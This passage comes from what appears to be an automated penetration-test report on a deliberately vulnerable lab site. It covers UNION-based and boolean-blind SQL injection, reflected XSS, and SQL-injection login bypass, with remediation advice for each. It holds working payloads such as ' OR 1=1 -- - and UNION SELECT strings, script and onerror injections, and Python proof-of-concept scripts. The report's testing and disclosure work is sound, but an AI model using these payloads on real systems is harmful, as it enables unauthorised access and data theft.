4. The benign input produces no row, whereas the UNION input returns values evaluated by `DATABASE()` and `VERSION()`. This differential proves in-band UNION-based SQL injection.

Verification and comparison | F-006

Fresh anonymous requests reproduced SQL injection in the GET `search` parameter. The benign unique search string `ZZZNORESULT_VERIFIER_8F29` returned HTTP 200 with an empty `<tbody>`. Changing only `search` to a six-column UNION payload returned HTTP 200 and a synthetic row containing `DBMARK:sql_injection`, where `sql_injection` was produced by `DATABASE()`, plus `VERMARK:10.3.39-MariaDB-0ubuntu0.20.04.2`, produced by `VERSION()`. This payload-dependent evaluation and in-band return of database-generated values proves UNION-based SQL injection and unauthenticated database metadata extraction. The response also contained the application's user records, but password extraction, database modification,

Verification and comparison | F-006 (continued)

filesystem access, command execution, and access to other databases were not tested and are not claimed.

Proof of concept | F-006

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests

url = "http://lab-hw.my.id:1337/lab/sql-injection/find-password/"

# Benign negative control: a unique value expected not to match any record.
control = requests.get(url, params={"search": "ZZZNORESULT_VERIFIER_8F29"}, timeout=15)
control.raise_for_status()
assert "DBMARK:" not in control.text
assert "VERMARK:" not in control.text

# Six-column UNION payload matching the application's rendered result shape.
payload = (
    "' UNION SELECT 111,"
    "CONCAT('DBMARK:',DATABASE()),"
    "CONCAT('VERMARK:',VERSION()),"
    "'MARKNAME','MARKSURNAME','SIXTH'-- -"
)
positive = requests.get(url, params={"search": payload}, timeout=15)
positive.raise_for_status()

assert "DBMARK:sql_injection" in positive.text
assert "VERMARK:10.3.39-MariaDB-0ubuntu0.20.04.2" in positive.text
print("Confirmed: the response contains database-evaluated name and version markers.")
```

Verification limits | F-006

The test established in-band execution of a six-column UNION SELECT and extraction of database metadata through the response.
The displayed existing rows contain IDs, usernames, email addresses, names, and surnames; no password field was present in the tested output.
Only read-oriented payloads were used; no database writes or destructive operations were attempted.

Impact not established | F-006

Password extraction was not demonstrated despite the page title.
Access to other databases or tables was not tested.
Database modification, filesystem access, operating-system command execution, and server takeover were not demonstrated.

Evidence references | F-006

E1: outcome-2a6c40ad240d4b3e8fc0d75df79586bc
E2: outcome-6c0bea3fedad44828426a1adab245bf5

Recommended remediation | F-006

Replace dynamic SQL construction with a prepared statement and a bound parameter for `search`; never concatenate the raw request value into the query. If wildcard search is required, construct the wildcard value in application code and bind it, for example by binding `%<search>%`. Use a database account restricted to the minimum tables and read/write privileges required by this page. Return a generic application error rather than database diagnostics, and add automated tests verifying that quotes, comments, and UNION syntax are treated only as literal search text.

Finding reference: finding-b248b32921b048adaca5a40f454b4486

F-007. Boolean-based blind SQL injection in the stock search parameter

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/sql-injection/post-blind-boolean/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	search	Blind confirmed
RECORDED CATEGORY	**CWE**	**CVSS**
Boolean-based-blind-sql-injection	CWE-89	Not recorded

Description | F-007

The anonymous stock-check endpoint accepts SQL syntax through the `search` form parameter. Fresh testing showed that two otherwise identical injected values produced different application results solely according to whether the injected SQL predicate was true or false. This exposes a boolean oracle and demonstrates that untrusted input influences the database query structure rather than being handled strictly as data.

Prerequisites | F-007

An attacker needs only network access to the public endpoint and the ability to submit an application/x-www-form-urlencoded POST request; no authentication or cookies were required in the reproduced requests.

Impact | F-007

An unauthenticated remote attacker can manipulate the stock lookup's database predicate and observe its truth value through the application's in-stock versus sold-out messages. This directly compromises the integrity of the lookup result and supplies a boolean oracle that may support inference attacks. This verification did not extract database contents or demonstrate write access, authentication bypass, or code execution, so those broader impacts are not claimed.

Technical analysis | F-007

The vulnerable request is `POST /lab/sql-injection/post-blind-boolean/` with an application/x-www-form-urlencoded `search` parameter. The value `iphone11' AND '8372'='8372' -- -` returned HTTP 200 and the success message `We have this product in stock.`. The matched control `iphone11' AND '8372'='8373' -- -` changed only the final digit, making the injected predicate false, and returned HTTP 200 with `Product sold out.`. The benign input `iphone11` also returned the in-stock message. Because the response changes with only the truth value of injected SQL syntax while the selected product prefix remains constant, normal product matching or random response variation does not explain the result. The behavior is consistent with unsafe SQL query construction and forms a boolean-based blind SQL injection oracle.

Evidence | F-007

The benign value `iphone11` and true-condition payload `iphone11' AND '8372'='8372' -- -` returned `We have this product in stock.`, while the otherwise matched false-condition payload `iphone11' AND '8372'='8373' -- -` returned `Product sold out.`. Each request returned HTTP 200. The predicate truth value therefore controls an observable application response.

Reproduction steps | F-007

1. Send an unauthenticated POST request to `http://lab-hw.my.id:1337/lab/sql-injection/post-blind-boolean/` with `Content-Type: application/x-www-form-urlencoded` and body `search=iphone11`. The response should be HTTP 200 and contain `We have this product in stock.`
2. Send the same request with the form value `iphone11' AND '8372'='8372' -- -`. The response should again contain `We have this product in stock.` because the injected predicate is true.
3. Send a matched control with the form value `iphone11' AND '8372'='8373' -- -`. This changes only the predicate from true to false. The response should contain `Product sold out.`
4. Compare steps 2 and 3. The controlled response change caused solely by the predicate truth value demonstrates a boolean-based SQL injection oracle in `search`.

Verification and comparison | F-007

Fresh anonymous reproduction confirmed a boolean-based SQL injection oracle in the POST parameter `search`. A normal value (`iphone11`) and the injected true condition (`iphone11' AND '8372'='8372' -- -`) both returned HTTP 200 with `We have this product in stock.`, while the matched false control changed only the predicate to `'8372'='8373'` and returned HTTP 200 with `Product sold out.`. This controlled response change proves that attacker-supplied SQL syntax affects the query predicate. The evidence establishes unauthenticated predicate manipulation and a boolean response oracle; it does not by itself establish successful database-content extraction, data modification, authentication bypass, filesystem access, or command execution.

Proof of concept | F-007

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests


url = "http://lab-hw.my.id:1337/lab/sql-injection/post-blind-boolean/"
probes = {
    "benign baseline": "iphone11",
    "true SQL predicate": "iphone11' AND '8372'='8372' -- -",
    "false SQL predicate": "iphone11' AND '8372'='8373' -- -",
}

for name, value in probes.items():
    response = requests.post(url, data={"search": value}, timeout=10)
    if "We have this product in stock." in response.text:
        result = "TRUE / in stock"
    elif "Product sold out." in response.text:
        result = "FALSE / sold out"
    else:
        result = "unexpected response"
    print(f"{name}: HTTP {response.status_code}: {result}")

# Expected output:
# benign baseline: HTTP 200: TRUE / in stock
# true SQL predicate: HTTP 200: TRUE / in stock
# false SQL predicate: HTTP 200: FALSE / sold out
```

Verification limits | F-007

The verification demonstrated query-predicate manipulation and a reliable boolean response oracle only.
No database metadata or record contents were extracted during verification.
No data modification, authentication bypass, filesystem access, denial of service, or operating-system command execution was tested or established.
The database engine and exact vulnerable server-side query were not identified.

Impact not established | F-007

Successful extraction of sensitive database contents
Modification or deletion of database records
Authentication or authorization bypass
Remote code execution or filesystem access
Impact to endpoints other than the tested stock lookup

Evidence references | F-007

E1: outcome-8297142bae8545498603eb57e9588730
E2: outcome-a2c421e5fa4b4a2b86c04eacbf244709
E3: outcome-0c9360c32f5840abadd7021c40b4676b

Recommended remediation | F-007

Use a parameterized query or prepared statement for the stock lookup so that `search` is always bound as data and cannot alter SQL syntax. Do not build SQL by string concatenation. Additionally, validate `search` against an allowlist of expected product identifiers, use a database account with only the minimum required read permissions, and add regression tests asserting that quote, comment, and boolean-operator characters cannot affect query logic. Input validation and generic error messages are defense-in-depth and must not replace parameterization.

Finding reference: finding-5c23061230a7447093df4e5bdfb14feb

F-008. Reflected cross-site scripting through the q parameter

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/xss/basic-reflected/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	q	Browser executed
RECORDED CATEGORY	**CWE**	**CVSS**
Reflected-cross-site-scripting-xss	CWE-79	6.1

Description | F-008

The endpoint `/lab/xss/basic-reflected/` reflects the unauthenticated GET parameter `q` into an HTML body context without context-appropriate output encoding. Supplying a script element causes the browser to parse and execute attacker-controlled JavaScript in the application's origin. A benign text value is reflected in the same location as ordinary text, while the script payload creates executable markup.

Prerequisites | F-008

An attacker must create a crafted URL containing script markup in q and cause a victim to open it. No attacker authentication is required.

Impact | F-008

An unauthenticated attacker can construct a link that executes JavaScript in the application's origin when a victim opens it. This can allow interaction with origin-accessible page content and actions available to that victim. This verification demonstrated only same-origin script execution; it did not demonstrate sensitive-data theft, account takeover, or authenticated-user impact.

Technical analysis | F-008

The tested request used `q=%3Cscript%3Econsole.log%28%27HWVERQ67245%27%29%3C%2Fscript%3E`. The endpoint responded with HTTP 200, and Chromium logged `HWVERQ67245`, proving that the supplied script element entered an executable HTML context. In the matched control, `q=HWVERCTRL67245` was returned in the response as `No Result Found for <b>HWVERCTRL67245</b>`. This contrast shows that q is directly embedded between HTML tags rather than safely encoded. Because markup characters are interpreted by the browser, attacker-controlled JavaScript executes when the crafted response is rendered.

Evidence | F-008

A browser loaded q=`<script>console.log('HWVERQ67245')</script>` with HTTP 200 and emitted the exact marker `HWVERQ67245` in the console. The benign q value `HWVERCTRL67245` was reflected as ordinary text inside a `<b>` element.

Reproduction steps | F-008

1. Without credentials, open `http://lab-hw.my.id:1337/lab/xss/basic-reflected/` in a browser.
2. Open the browser developer console.
3. Observe the exact console message `HWVERQ67245`; this is generated by the injected script and proves browser execution.
4. As a control, request `http://lab-hw.my.id:1337/lab/xss/basic-reflected/`.
5. Observe an HTTP 200 page containing `No Result Found for <b>HWVERCTRL67245</b>`. The control value is ordinary displayed text and does not create a script element or the positive marker event.

Verification and comparison | F-008

Fresh anonymous browser reproduction confirmed reflected XSS in the GET parameter q at /lab/xss/basic-reflected/. Navigating to a URL where q was `<script>console.log('HWVERQ67245')</script>` returned HTTP 200 and the browser console recorded the exact fresh marker `HWVERQ67245`. A matched benign request with q=`HWVERCTRL67245` returned HTTP 200 and placed only that literal value inside the page's `<b>` element. The change from inert text to a script element and the resulting browser console event proves that attacker-controlled q content is inserted into executable HTML without context-appropriate encoding. The demonstrated impact is unauthenticated reflected JavaScript execution in the application's origin when a user visits a crafted URL; session theft, sensitive-data access, account compromise, persistence, and exploitation of an authenticated victim were not tested.

Proof of concept | F-008

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
from urllib.parse import urlencode
import webbrowser


base = "http://lab-hw.my.id:1337/lab/xss/basic-reflected/"
payload = "<script>console.log('HWVERQ67245')</script>"
url = base + "?" + urlencode({"q": payload})
print("Opening:", url)
print("No credentials are required. Inspect the browser console for HWVERQ67245.")
webbrowser.open(url)
```

Verification limits | F-008

The test used a console marker and did not attempt to read cookies, tokens, or sensitive page data.
No authenticated victim context was tested.
The payload was reflected in the immediate response; persistence was not tested or demonstrated.

Impact not established | F-008

Session theft, credential theft, sensitive-data exfiltration, account takeover, persistent XSS, and administrative impact were not demonstrated.

Evidence references | F-008

E1: outcome-a99e1db632704ff59b69fd547d92048a
E2: outcome-0c47901901c1416781d28901e4e74463
E3: outcome-05e4edcdc1424393b8bc0b271cc2acdb

Recommended remediation | F-008

Apply context-appropriate HTML output encoding to `q` before inserting it into the response, so characters such as `<`, `>`, `&`, single quotes, and double quotes cannot form markup. Prefer a templating system with automatic escaping enabled and avoid constructing HTML by string concatenation. If rich HTML is intentionally accepted, sanitize it with a well-maintained allowlist sanitizer that removes scripts and event handlers. Add regression tests using script tags, event-handler payloads, and encoded variants. A restrictive Content Security Policy can provide

Recommended remediation | F-008 (continued)

defense in depth but should not replace output encoding.

Finding reference: finding-8ce83fa3ce1149329d19453ea67b2756

F-009. Reflected XSS in the `height` Parameter Through Inline JavaScript Injection

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/xss/basic-dom-based/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	height	Browser executed
RECORDED CATEGORY	**CWE**	**CVSS**
Reflected-cross-site-scripting-xss	CWE-79	6.1

Description | F-009

The unauthenticated triangle calculator at `/lab/xss/basic-dom-based/` places the `height` query parameter directly into executable inline JavaScript. An attacker can close the intended numeric assignment, add arbitrary JavaScript, and comment out the remaining statement. When a victim follows the crafted link, the injected JavaScript executes in the target application's origin. Fresh testing verified this with a harmless console marker and a numeric control.

Prerequisites | F-009

No account is required. An attacker must induce a victim browser to open a crafted URL containing the malicious `height` query value.

Impact | F-009

An unauthenticated attacker can cause attacker-chosen JavaScript to execute in the target origin when a victim opens a crafted URL. The demonstrated effect is execution of a harmless console statement. In principle, same-origin script can interact with page content and browser-accessible application functionality available to the victim, but this assessment did not test access to sensitive data, authenticated actions, cookies, or account takeover.

Technical analysis | F-009

The endpoint constructs an inline script beginning with `var height = <input>;`. For the tested malicious value `3;console.log('VERIFYDOM84721B');//`, the returned response contained `var height = 3;console.log('VERIFYDOM84721B');//;var base = 2;...`. The first semicolon ends the intended assignment, `console.log(...)` becomes a new executable statement, and `//` comments out the rest of that script line. Chromium then logged the exact nonce. In the matched control using `height=3&base=2`, the response contained `var height = 3;var base = 2;...`, and the page rendered `Area: 3`. Because the payload was already present in the raw server response, the verified mechanism is reflected XSS in an inline JavaScript context rather than a DOM-only injection.

Evidence | F-009

With `height=3;console.log('VERIFYDOM84721B');//` and `base=2`, the HTTP response contained the attacker statement directly inside an inline script, and Chromium logged `VERIFYDOM84721B`. With numeric `height=3` and `base=2`, the response contained only the intended assignment and the page displayed `Area: 3`.

Reproduction steps | F-009

1. Without authenticating, open `http://lab-hw.my.id:1337/lab/xss/basic-dom-based/` in a browser.
2. Open the browser console. Observe the exact message `VERIFYDOM84721B`.
3. Inspect the HTTP response or page source. Observe the executable sequence `var height = 3;console.log('VERIFYDOM84721B');//;var base = 2;` in the inline script.
4. As a benign control, open `http://lab-hw.my.id:1337/lab/xss/basic-dom-based/`. Observe `Area: 3`; its inline script contains the intended `var height = 3;var base = 2;` and no injected console statement.
5. The only relevant change is the `height` value. The marker executes only when that value terminates the assignment and introduces a JavaScript statement, proving script-context injection.

Verification and comparison | F-009

Fresh anonymous reproduction confirms an XSS vulnerability in the `height` query parameter, but the observed mechanism is server-side reflection into an inline JavaScript context rather than a demonstrated DOM-only source-to-sink flow. Requesting `?height=3%3Bconsole.log%28%27VERIFYDOM84721B%27%29%3B%2F%2F&base=2` caused the server to emit `var height = 3;console.log('VERIFYDOM84721B');//;var base = 2;...`, and Chromium executed that statement and logged the unique marker. The matched benign request `?height=3&base=2` instead emitted `var height = 3;var base = 2;...` and rendered `Area: 3`. This difference proves that attacker-controlled `height` data crosses into executable script syntax. The bounded demonstrated impact is unauthenticated reflected JavaScript execution when a victim opens a crafted URL; cookie theft, sensitive-data access, authenticated

Verification and comparison | F-009 (continued)

state changes, persistence, and a specifically DOM-based implementation were not tested or established.

Proof of concept | F-009

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
from urllib.parse import urlencode
import webbrowser


endpoint = "http://lab-hw.my.id:1337/lab/xss/basic-dom-based/"
params = {
    "height": "3;console.log('VERIFYDOM84721B');//",
    "base": "2",
}
url = endpoint + "?" + urlencode(params)
print("Opening:", url)
webbrowser.open(url)
print("Open the browser developer console and look for: VERIFYDOM84721B")
```

Verification limits | F-009

The proof used a harmless console statement and did not access cookies, account data, browser storage, or authenticated functions.
No persistence was tested; the verified input is reflected from the query string.
The test did not assess Content Security Policy or other deployment-specific mitigations beyond the observed successful execution.

Impact not established | F-009

A specifically DOM-based source-to-sink mechanism is unsupported because the fresh HTTP response itself already contains the injected statement.
Session theft, sensitive-data exfiltration, account takeover, and state-changing actions were not demonstrated.

Evidence references | F-009

E1: outcome-e0c42944cfef4a069882f3d4f658ec99
E2: outcome-ad5a51e638864c4fb7af85e736e86294
E3: outcome-b5fca6005c0e4596925424de3247891b
E4: outcome-d3d722fe184846beb2644edba8fc8f66
E5: outcome-a8f23b39a99844c7987ec0d6d006f3cf

Recommended remediation | F-009

Treat `height` and `base` as numeric data rather than source code. Validate them server-side against a strict numeric format, reject invalid values, and do not concatenate user input into inline scripts. Prefer placing data in HTML attributes or JSON serialized with a trusted serializer, then read it from a static external script. If inline JavaScript is unavoidable, apply context-appropriate JavaScript encoding/serialization rather than HTML encoding. Deploy a restrictive Content Security Policy without `unsafe-inline` as defense in depth, but do not rely on CSP instead of fixing the unsafe interpolation.

Finding reference: finding-6c895c67f85b4b34ad8e21b338375d05

F-010. Reflected XSS through the `img` query parameter in Our Gallery

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/xss/our-gallery/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	img	Browser executed
RECORDED CATEGORY	**CWE**	**CVSS**
Reflected-cross-site-scripting-xss	CWE-79	6.1

Description | F-010

The Our Gallery page reflects the `img` GET parameter into the quoted `src` attribute of an HTML image without attribute-context output encoding. An anonymous attacker can supply a quote-containing value that terminates the intended attribute and adds an event handler. When a victim opens the crafted link, the browser executes attacker-controlled JavaScript in the target page's origin.

Prerequisites | F-010

No account or prior access is required. An attacker must cause a victim to open a crafted URL containing the malicious `img` query value; JavaScript execution depends on normal browser rendering and the injected image error event.

Impact | F-010

An attacker who convinces a victim to open a crafted URL can execute JavaScript in the security origin of `lab-hw.my.id:1337`. This can alter page content and may interact with origin-accessible browser data or application functions available to that victim. The verification used only a harmless console marker and did not demonstrate sensitive-data access, authenticated actions, persistence, or account compromise.

Technical analysis | F-010

The vulnerable request is `GET /lab/xss/our-gallery/` and the affected parameter is `img`. The benign control `?img=1` loaded with no console output. The tested malicious parameter value was `" onerror=console.log('HWVERGAL9347') x="`. Browser DOM inspection after loading the encoded URL returned `<img class="shadow-lg bg-body rounded" style="width:500px;padding : 0; margin-bottom: 0;" src="" onerror="console.log('HWVERGAL9347')" x=".jpg">`. The injected quote closes the original `src` attribute; the remaining text creates an `onerror` handler. Because `src` is empty/invalid in this construction, the error event fires and the browser logs the nonce. The same marker was independently observed in the browser console, while the benign control emitted no console messages. This differential proves that unescaped `img` input becomes executable browser markup.

Evidence | F-010

With the fresh payload `" onerror=console.log('HWVERGAL9347') x="`, the browser rendered an image element containing `onerror="console.log('HWVERGAL9347')"` and logged `HWVERGAL9347`. The matched benign value `img=1` produced no console messages.

Reproduction steps | F-010

1. In a browser, open `http://lab-hw.my.id:1337/lab/xss/our-gallery/` and inspect the console. The page should load normally and should not log `HWVERGAL9347`.
2. Open `http://lab-hw.my.id:1337/lab/xss/our-gallery/` in the same browser.
3. Inspect the console and observe the exact message `HWVERGAL9347`.
4. Inspect the gallery image element and observe an attacker-created `onerror="console.log('HWVERGAL9347')"` attribute. The only meaningful input change from the control is the `img` value, establishing that reflection of this parameter causes execution.

Verification and comparison | F-010

Fresh anonymous browser reproduction confirms reflected XSS in the GET parameter `img`. The benign request `?img=1` loaded normally with zero console messages. Changing only `img` to the URL-encoded value `" onerror=console.log('HWVERGAL9347') x="` caused the rendered image element to contain an attacker-created `onerror` attribute and the browser console recorded the exact fresh nonce `HWVERGAL9347`. This proves browser-side JavaScript execution in the page origin when a victim opens a crafted URL. The evidence does not establish persistence, access to authenticated data, account compromise, or any specific downstream action.

Proof of concept | F-010

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

Proof of concept | F-010 (continued)

```
from urllib.parse import quote
import webbrowser


base = "http://lab-hw.my.id:1337/lab/xss/our-gallery/"
marker = "HWVERGAL9347"
payload = f'" onerror=console.log(\'{marker}\') x="'
url = base + "?img=" + quote(payload, safe="")
print("Opening:", url)
webbrowser.open(url)
print(f"Inspect the browser console for: {marker}")
```

Verification limits | F-010

The test demonstrated reflected, not stored, XSS.
The payload performed only a harmless console log.
No authenticated victim session, sensitive-data access, account action, persistence, or cross-user delivery mechanism was tested.

Impact not established | F-010

Credential or session theft
Account takeover
Persistent execution
Execution without a victim opening the crafted URL
Any specific authenticated state change

Evidence references | F-010

E1: outcome-0b36e6536fc04335bd7ff52ae4d0afa1
E2: outcome-9ceecabcfab34daea4d414b436a97b43
E3: outcome-7f431c79478749d8aae5fe4a79f42c5c
E4: outcome-30b59354e464472796862d4a06149199

Recommended remediation | F-010

Do not concatenate `img` into HTML. Prefer an allowlist that maps expected values such as `1`, `2`, `3`, and `4` to fixed server-side image filenames. In addition, apply HTML attribute-context output encoding to every dynamic value before placing it in a quoted attribute. Reject values outside the allowlist. A restrictive Content Security Policy that disallows inline script and inline

Recommended remediation | F-010 (continued)

event handlers can provide defense in depth, but it should not replace correct validation and encoding.

Finding reference: finding-dc925dfc7b9d4b10bda42868624fa55b

F-011. SQL injection in administrator login bypasses authentication

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/sql-injection/post-login/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	username,password	Authenticated
RECORDED CATEGORY	**CWE**	**CVSS**
Sql-injection-authentication-bypass	CWE-89	5.3

Description | F-011

The username field of POST /lab/sql-injection/post-login/ is incorporated into an authentication query without safe parameterization. An anonymous attacker can submit a tautological SQL expression and comment out the remainder of the query. In the verified test, the payload ' OR 1=1 -- - combined with a known-wrong password created an authenticated session, while the matched false predicate ' OR 1=2 -- - did not. The authenticated session could load the protected admin.php profile page.

Prerequisites | F-011

The attacker only needs HTTP access to the public login endpoint; no account, valid username, valid password, or prior session is required.

Impact | F-011

An unauthenticated remote attacker can bypass the administrator login without knowing a valid password and read the tested protected profile page. The reproduced page disclosed a name, job title, email address, phone number, and project information. No additional administrative actions or broader database compromise were established.

Technical analysis | F-011

The affected request is an application/x-www-form-urlencoded POST to /lab/sql-injection/post-login/ with username and password fields. With password fixed to wrongpass-verifier, changing only the injected predicate in username changed the authentication result. The false condition username=' OR 1=2 -- - returned HTTP 200 with the Administrator Login form. The true condition username=' OR 1=1 -- - returned HTTP 302 with Location: admin.php and established a PHP session. A subsequent GET /lab/sql-injection/post-login/admin.php using the true-condition session returned HTTP 200 and populated profile content; the false-condition session received HTTP 302 Location: index.php. This matched differential and protected-resource readback demonstrate that SQL predicate manipulation, rather than a generic redirect or public page, bypasses authentication.

Evidence | F-011

Using username=' OR 1=1 -- - with password=[redacted] produced HTTP 302 Location: admin.php. The resulting session then received HTTP 200 and a populated profile containing a name, email address, phone number, job title, and project information. The matched username=' OR 1=2 -- - control with the same wrong password stayed on the HTTP 200 login form, and its session was redirected away from admin.php to index.php.

Reproduction steps | F-011

1. Start a new HTTP session and send POST http://lab-hw.my.id:1337/lab/sql-injection/post-login/ with Content-Type: application/x-www-form-urlencoded and body username=%27+OR+1%3D2+--+-&password=[redacted] Expect HTTP 200 with the Administrator Login form.
2. In that false-condition session, request GET http://lab-hw.my.id:1337/lab/sql-injection/post-login/admin.php without following redirects. Expect HTTP 302 with Location: index.php.
3. Start a separate clean HTTP session and send the same login request, changing only username to %27+OR+1%3D1+--+-. Keep password=[redacted] and do not follow redirects. Expect HTTP 302 with Location: admin.php.
4. Retain the cookie from step 3 and request GET http://lab-hw.my.id:1337/lab/sql-injection/post-login/admin.php. Expect HTTP 200 and a populated profile page, including the heading Information and profile fields such as Email and Phone.
5. The opposite outcomes for predicates 1=1 and 1=2, followed by corresponding access and denial at the protected page, prove SQL-controlled authentication bypass.

Verification and comparison | F-011

Fresh verifier requests proved a boolean-condition SQL injection in the anonymous administrator login's username parameter. With the same deliberately incorrect password,

Verification and comparison | F-011 (continued)

username=' OR 1=1 -- - returned HTTP 302 with Location: admin.php, while the matched false predicate username=' OR 1=2 -- - returned HTTP 200 and the Administrator Login form. Retaining each request's separate PHP session made the security consequence explicit: the true-predicate session received HTTP 200 from admin.php and a populated profile page, whereas the false-predicate session was denied with HTTP 302 to index.php. This establishes unauthenticated login bypass and access to the tested administrative profile without valid credentials. The evidence does not establish database extraction, modification, command execution, or any additional administrative operation.

Proof of concept | F-011

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests


BASE = "http://lab-hw.my.id:1337/lab/sql-injection/post-login/"
ADMIN = BASE + "admin.php"
PASSWORD = "[redacted]"  # Any deliberately invalid password may be used.


# Matched false-predicate control.
control = requests.Session()
r_false = control.post(
    BASE,
    data={"username": "' OR 1=2 -- -", "password": [redacted]},
    allow_redirects=False,
    timeout=15,
)
r_false_admin = control.get(ADMIN, allow_redirects=False, timeout=15)
print("false login:", r_false.status_code, r_false.headers.get("Location"))
print("false admin:", r_false_admin.status_code, r_false_admin.headers.get("Location"))
assert r_false.status_code == 200
assert r_false_admin.status_code == 302
assert r_false_admin.headers.get("Location") == "index.php"


# True-predicate injection in an independent clean session.
exploit = requests.Session()
r_true = exploit.post(
    BASE,
    data={"username": "' OR 1=1 -- -", "password": [redacted]},
```

Proof of concept | F-011 (continued)

```
    allow_redirects=False,
    timeout=15,
)
r_true_admin = exploit.get(ADMIN, allow_redirects=False, timeout=15)
print("true login:", r_true.status_code, r_true.headers.get("Location"))
print("true admin:", r_true_admin.status_code)
assert r_true.status_code == 302
assert r_true.headers.get("Location") == "admin.php"
assert r_true_admin.status_code == 200
assert "Information" in r_true_admin.text
assert "Email:" in r_true_admin.text
assert "Phone:" in r_true_admin.text
```

Verification limits | F-011

Testing verified authentication bypass and read access only to the displayed administrative profile page.
No state-changing administrative function, additional protected resource, database extraction, database modification, command execution, or availability impact was tested.
The error-based deterministic helper found no DBMS error differential; this does not contradict the independently reproduced boolean authentication-bypass behavior.

Impact not established | F-011

Arbitrary database read or write access
Remote code execution
Access to administrative operations beyond the reproduced profile page
Integrity or availability impact

Evidence references | F-011

E1: outcome-28a90b905c784adb86ccc7a16b902037
E2: outcome-b31bb24946c1495880daf732e91bd03f
E3: outcome-8f057ca0402b476cae019ff1563ca652
E4: outcome-4882e690334f463f93e9022fe02c063c
E5: outcome-a1d8ecfc9bcb4a89b640627cee149631

Recommended remediation | F-011

Use prepared statements with bound parameters for every database query involved in authentication; never concatenate username or password input into SQL. Retrieve the account by an exact bound username, then verify the submitted password with a modern password-hashing API such as password_verify. Return a uniform authentication failure for invalid credentials. Invalidate existing sessions after deploying the fix, rotate session identifiers upon successful login, and add regression tests asserting that quote characters and boolean SQL fragments are treated as literal usernames and cannot alter authentication outcomes.

Finding reference: finding-b693ed334989423480b2e73ce1466991

F-012. SQL injection in administrator login username allows authentication bypass

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/sql-injection/post-login/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	Not recorded	Authenticated
RECORDED CATEGORY	**CWE**	**CVSS**
Sql-injection-authentication-bypass	CWE-89	6.5

Description | F-012

The administrator login endpoint at POST /lab/sql-injection/post-login/ evaluates SQL syntax supplied through the `username` form field. An unauthenticated attacker can submit a comment-terminated true condition to bypass password verification and obtain a session authorized for the protected admin.php page. Fresh testing compared a true predicate with both a matched false predicate and an ordinary invalid login, then verified the resulting authorization state by requesting the protected page with each session.

Prerequisites | F-012

Network access to the public login endpoint; no account, prior session, user interaction, or valid password is required.

Impact | F-012

An unauthenticated remote attacker can bypass the tested administrator login and read the protected administrator profile page. In the verified response, that page exposed populated profile information including a name, email address, and phone number. The assessment does not claim database dumping, state-changing administrator capabilities, credential theft, service disruption, or server compromise because those effects were not tested.

Technical analysis | F-012

The decisive change was the boolean expression in the `username` field. With the same password `x`, `admin' OR 1=1#` caused HTTP 302 with `Location: admin.php`, whereas `admin' OR 1=2#` returned HTTP 200 and the Administrator Login form. The trailing `#` comments out the remainder of a MySQL-style query, and changing only `1=1` to `1=2` controls whether authentication succeeds. This matched true/false differential rules out a generic redirect caused merely by quote characters. Authorization was verified downstream: the true-predicate session received HTTP 200 and populated profile content from admin.php, while the false-predicate session and a conventional invalid-login session each received HTTP 302 with `Location: index.php`. Together, these results establish unsafe SQL evaluation in the login query and a real authenticated-session bypass.

Evidence | F-012

Submitting username `admin' OR 1=1#` with password `x` returned HTTP 302 with `Location: admin.php`. Reusing that response's session cookie produced HTTP 200 from admin.php with populated profile data for LeBron James, including an email address and phone number. The false predicate `admin' OR 1=2#` and a non-existent ordinary username failed, and their sessions were redirected away from admin.php to index.php.

Reproduction steps | F-012

1. Start without an authenticated session.
2. POST form data `username=nonexistent_verifier_b26b&password=[redacted] to `http://lab-hw.my.id:1337/lab/sql-injection/post-login/` with redirects disabled. Expect HTTP 200 with the Administrator Login form and no redirect to admin.php.
3. In a separate fresh session, POST `username=admin%27+OR+1%3D2%23&password=[redacted] to the same URL with redirects disabled. Expect HTTP 200 with the login form; this is the matched false-predicate control.
4. In another fresh session, POST `username=admin%27+OR+1%3D1%23&password=[redacted] with redirects disabled. Expect HTTP 302 and `Location: admin.php`.
5. Preserve each session's cookie and request `http://lab-hw.my.id:1337/lab/sql-injection/post-login/admin.php` with redirects disabled. The true-predicate session should receive HTTP 200 with populated profile content. The false-predicate and ordinary-invalid sessions should receive HTTP 302 with `Location: index.php`.
6. The only meaningful change between steps 3 and 4 is false versus true SQL logic. The corresponding authentication and protected-page access change demonstrates SQL injection rather than a generic malformed-input behavior.

Verification and comparison | F-012

Fresh verifier testing confirmed boolean-based SQL injection in the username field of POST /lab/sql-injection/post-login/ and a resulting authentication bypass. With password=[redacted], username `admin' OR 1=1#` returned HTTP 302 with `Location: admin.php`, while the matched false predicate `admin' OR 1=2#` and a non-existent ordinary username both returned HTTP 200 with the Administrator Login form. The session created by the true predicate then retrieved admin.php with HTTP 200 and populated administrator-profile content, including a name, email, and phone number; the false-predicate and ordinary-invalid sessions were instead redirected to index.php. This predicate-controlled response and authorization differential proves SQL syntax is affecting the login query and that the successful injection establishes an authenticated session. The demonstrated impact is bounded to bypassing this administrator login and reading the tested protected profile page; database extraction, credential disclosure, modification operations, availability impact, and broader server compromise were not tested or established.

Proof of concept | F-012

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests


URL = "http://lab-hw.my.id:1337/lab/sql-injection/post-login/"
ADMIN = URL + "admin.php"


def attempt(username, password):
    session = requests.Session()
    response = session.post(
        URL,
        data={"username": username, "password": [redacted]},
        allow_redirects=False,
        timeout=10,
    )
    protected = session.get(ADMIN, allow_redirects=False, timeout=10)
    return response, protected


